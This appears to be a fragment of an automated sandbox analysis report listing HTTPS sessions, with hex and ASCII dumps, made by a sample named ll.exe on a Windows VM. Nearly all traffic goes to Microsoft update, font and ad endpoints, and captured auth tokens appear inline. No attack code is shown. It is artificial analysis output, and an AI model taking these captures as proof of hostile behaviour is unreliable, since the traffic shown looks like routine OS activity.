b6 95 1d cc bf eb 1f 72 97 69 07 63 9e d8 e7 81 5d 17 86 f5 8b 3d 5b cd 26 c6 e5 b5 18 d5 16 48 f7 6d 4e bd 46 0e 72 3d ea ea 53 94 21 cf 66 fe 7f 77 5d 0c f9 59 e1 de 36 d1 53 c3
Data Ascii: >ltO{VuU.vy#+V%o"V15/OlJ;H.#[NB8Kmz{W6u8EAo6FF"UJWG*T}GE9`i<~qdtoIe'5-,Rvd'S\[_5ric]=[&HmNFr=S!fw]Y6S


Session IDSource IPSource PortDestination IPDestination PortProcess
2192.168.2.34998123.35.236.56443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:19 UTC17OUTGET /fs/windows/config.json HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
If-Unmodified-Since: Thu, 20 Apr 2017 16:10:39 GMT
User-Agent: Microsoft BITS/7.8
Host: fs.microsoft.com
2022-04-08 08:02:19 UTC17INHTTP/1.1 200 OK
Content-Type: application/octet-stream
Last-Modified: Thu, 20 Apr 2017 16:10:39 GMT
ETag: "f9c874a7f0b9d21:0"
Server: Microsoft-IIS/10.0
Content-Disposition: attachment; filename=config.json
X-Powered-By: ASP.NET
Cache-Control: public, max-age=222061
Date: Fri, 08 Apr 2022 08:02:19 GMT
Content-Length: 55
Connection: close
X-CID: 2
2022-04-08 08:02:19 UTC17INData Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d
Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}


Session IDSource IPSource PortDestination IPDestination PortProcess
20192.168.2.34999920.82.210.154443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:05 UTC8081OUTGET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220408T170305Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=d45161c0491847028507c79db5d70c07&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1463022&metered=false&nettype=ethernet&npid=sc-310091&oemName=hsehht%2C%20Inc.&oemid=hsehht%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=hsehht7%2C1&tl=2&tsu=1463022&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAdVW0iu23GIxjRyUBGA+V5LMoU/lMaTjobBnQosoTe6w30OZEf3HulBKeYXog3CqxSfjOHeF/J4iLS/gKyhq/ZV/xtrYHZ35PhcBmS2qzlwNBiXp0+l4efq5nsDEEESQ06VT9dPxHYgWIFLG65LRysydA1lM9dDPzftFvDLM/ickJDFevqkA3hG2mKV46IqHL4CT7eP4Hk0/MOrRp8JB5tew/jI7o25TIEcXI9Ohbx1KIwUuqQcpj0nfDAUZEjkQqVS2z/wQaH+/fdlFO/AoxQI3CbcoTeaCp3XIesBJX0bxVNzc22qQqCPfGWQ/Sb52rGvkgBRvdW8DFg8ToMjfQpYDZgAACE3mODPOPAwVqAFPV53gZZc0aOkGu+jJWnw46hEU9aCKlpEDkH6SywZSQj+Z6IyumM/ZCz1/Exb6MZih9PGVRFV0dS4rZOfTTsEXw5x6gJoWeqkJZJqul+/LQNZpdaM/TGNQWhUnnbhyzuL3J52vfTsZzAtC6HDHUtfCP567IuQfNJw1zOBQG/Pho8+d+FiHWtcPKMXaDH+rX7PpflRpHTm7bd+l+rsPvLvdstjafDcGAADV0pkaM4oU0n35rzdzjoAWTcazcHXkrs0Gr34gDLPkE96nUwLpeDlXN3LOntP44gHngfTJAvz4io7zKxVkmOUwHoTarQK7POiXKiwa8x1QRMWrj0xK5k34eIR6SWW4uOhaTkCvnkjxlUVc2iz/sxwQS6ZoJuzJ60lcBcq6ptimZGdy/yuIx2kCNYcUG/nBNXbdKtF3Kz0nMb3Ry9n0QIm/ncP9d68+s4WiRIc+RuW5MPI3aHMGGt2snchu87pA34+QQKDxQpJZVZnC+RaoA8mYS8BGPqZ//PidcqGGmzw2vccoT1N6pSAD7mXPyM9QONX68BD34uYAk1VCPhRpsKh41QE=&p=
Cache-Control: no-cache
MS-CV: BYqskdYKuUKf7ZeJ.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
2022-04-08 08:03:06 UTC8083INHTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 167
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}]
X-ARC-SIG: Qh2OeSdX5tK/tt7pk/hBTJmFG6AMjGnSehkZ/mf8Ky+83DmSpp7Ry5J96OQ64WkfBxY36gdi60E4cBdCkMXIZM9Lf2aJ5f1mp7+ciGh3FRc5ErERQRviKo4CIUjqNfdPTteZ/Y4wGHeDRI0HxYD8mG/m2l4h0ihCwlXCt1LW+9a0fQlivJuzgPO8TbpMCnICd0ua6yFROAcRfB5q/OaLtXMCKizJ8a/xi3pqL8+3SSXHz8mNzRG3RY8PmJ2dUu66yiDZm9Ct46IemDcuacKR5i+HAI0vV4WsXqIr6OZ67g6feDqJtHK93yBqbBom5thYpgcnschVvKc9wlsJ2W7tvw==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 08 Apr 2022 08:03:05 GMT
Connection: close
2022-04-08 08:03:06 UTC8084INData Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 34 2d 30 38 54 31 32 3a 30 33 3a 30 36 22 7d 7d
Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-04-08T12:03:06"}}


Session IDSource IPSource PortDestination IPDestination PortProcess
21192.168.2.35000020.199.120.151443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:15 UTC8084OUTData Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 38 30 61 61 62 34 33 66 61 30 62 30 64 66 0d 0a 0d 0a
Data Ascii: CNT 1 CON 246Context: 3c80aab43fa0b0df
2022-04-08 08:03:15 UTC8084OUTData Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-04-08 08:03:15 UTC8084OUTData Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 38 30 61 61 62 34 33 66 61 30 62 30 64 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 77 65 75 52 78 64 54 45 52 58 49 34 58 73 61 55 64 61 66 67 57 47 68 6d 46 42 32 63 6a 51 30 2b 6c 52 4d 56 52 66 4d 58 33 46 77 79 4e 35 6e 68 5a 42 49 69 50 59 61 52 4e 51 2f 64 77 71 38 33 2f 58 59 37 5a 42 55 72 6d 54 65 77 44 66 6a 2f 57 6d 4f 6e 51 35 6b 4e 32 56 76 44 35 75 46 4d 37 47 6a 4c 78 56 73 37 55 78 36 70 69 69 71 41 6d 6c 4d 6d 4e 7a 57 34 6d 36 7a 78 2f 52 66 32 38 74 48 6b 4a 46 73
Data Ascii: ATH 2 CON\DEVICE 1014Context: 3c80aab43fa0b0df<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQweuRxdTERXI4XsaUdafgWGhmFB2cjQ0+lRMVRfMX3FwyN5nhZBIiPYaRNQ/dwq83/XY7ZBUrmTewDfj/WmOnQ5kN2VvD5uFM7GjLxVs7Ux6piiqAmlMmNzW4m6zx/Rf28tHkJFs
2022-04-08 08:03:15 UTC8085OUTData Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 33 63 38 30 61 61 62 34 33 66 61 30 62 30 64 66 0d 0a 0d 0a
Data Ascii: BND 3 CON\QOS 29Context: 3c80aab43fa0b0df
2022-04-08 08:03:15 UTC8085INData Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a
Data Ascii: 202 1 CON 58
2022-04-08 08:03:15 UTC8085INData Raw: 4d 53 2d 43 56 3a 20 32 66 32 52 39 56 77 72 72 55 2b 51 31 62 41 44 69 62 44 30 61 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e
Data Ascii: MS-CV: 2f2R9VwrrU+Q1bADibD0aQ.0Payload parsing failed.


Session IDSource IPSource PortDestination IPDestination PortProcess
22192.168.2.35000152.152.110.14443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:23 UTC8086OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:24 UTC8086INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: 6498898f-c4c8-49f6-967f-2330448e9183
MS-RequestId: c503d6c9-74cf-44b6-bf59-19ecf4a8e19b
MS-CV: tIYkIXuuWka26piW.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:23 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:24 UTC8086INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:24 UTC8102INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
23192.168.2.35000320.82.210.154443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:25 UTC8117OUTPOST /v3/Delivery/Events/Impression HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
Content-Length: 2786
Content-Type: text/plain; charset=UTF-8
Host: arc.msn.com
Connection: Keep-Alive
Cache-Control: no-cache
2022-04-08 08:03:25 UTC8117OUTData Raw: 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 54 49 44 3d 37 30 30 33 34 32 30 38 35 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 31 33 39 32 37 32 39 26 42 49 44 3d 31 30 32 30 37 37 33 30 37 35 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 51 38 26 54 50 49 44 3d 34 32 35 31 30 36 35 35 38 26 52 45 51 41 53 49 44 3d 37 35 31 38 35 39 36 37 38 38 43 42 34 36 44 39 42 44 41 41 36 37 46 42 30 37 36 35 37 37 37 45 26 41 53 49 44 3d 65 34 38 39 36 33 36 38 62 36 61 36 34 65 64 62 39 35 34 37 39 36 32 63 30 35 34 65 31 64 37 63 26 54 49 4d 45 3d 32 30 32 32 30 34 30 38 54 31 37 30 32 34 39 5a 26 53 4c 4f 54 3d 32 26 52 45 51 54 3d 32 30 32 32 30 34 30 38 54 30 38 30 31 32 33 26 4d 41 5f 53 63 6f 72 65 3d 32 26 4c 4f 43 41 4c 49 44 3d 77
Data Ascii: PID=425106558&TID=700342085&CID=128000000001392729&BID=1020773075&PG=PC000P0FR5.0000000IQ8&TPID=425106558&REQASID=7518596788CB46D9BDAA67FB0765777E&ASID=e4896368b6a64edb9547962c054e1d7c&TIME=20220408T170249Z&SLOT=2&REQT=20220408T080123&MA_Score=2&LOCALID=w
2022-04-08 08:03:25 UTC8120INHTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/xml; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: []
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 08 Apr 2022 08:03:24 GMT
Connection: close
Content-Length: 0


Session IDSource IPSource PortDestination IPDestination PortProcess
24192.168.2.35000252.242.101.226443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:25 UTC8120OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:25 UTC8120INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: a278de06-a581-49c0-a954-23dccab326d0
MS-RequestId: 3fb01cc2-3d79-4c14-8852-141ee9df3a6a
MS-CV: gmbPxqUvkUS4g0On.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:24 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:25 UTC8121INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:25 UTC8136INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
25192.168.2.35000452.152.110.14443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:25 UTC8151OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:26 UTC8151INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: 14f0036d-4d32-4abb-a094-f581bfe67ef7
MS-RequestId: 10b06799-e3d0-4850-8593-25c027d206bc
MS-CV: sRJVG35YWkShSH1h.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:25 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:26 UTC8152INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:26 UTC8167INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
26192.168.2.35000552.152.110.14443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:26 UTC8182OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:26 UTC8182INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: ac2ec315-b527-4b2a-85fc-7054edcb6117
MS-RequestId: 5dd8dd25-ac33-47ad-9348-a63cd0a67a52
MS-CV: i4CCqt7CUkOjNsUb.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:25 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:26 UTC8183INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
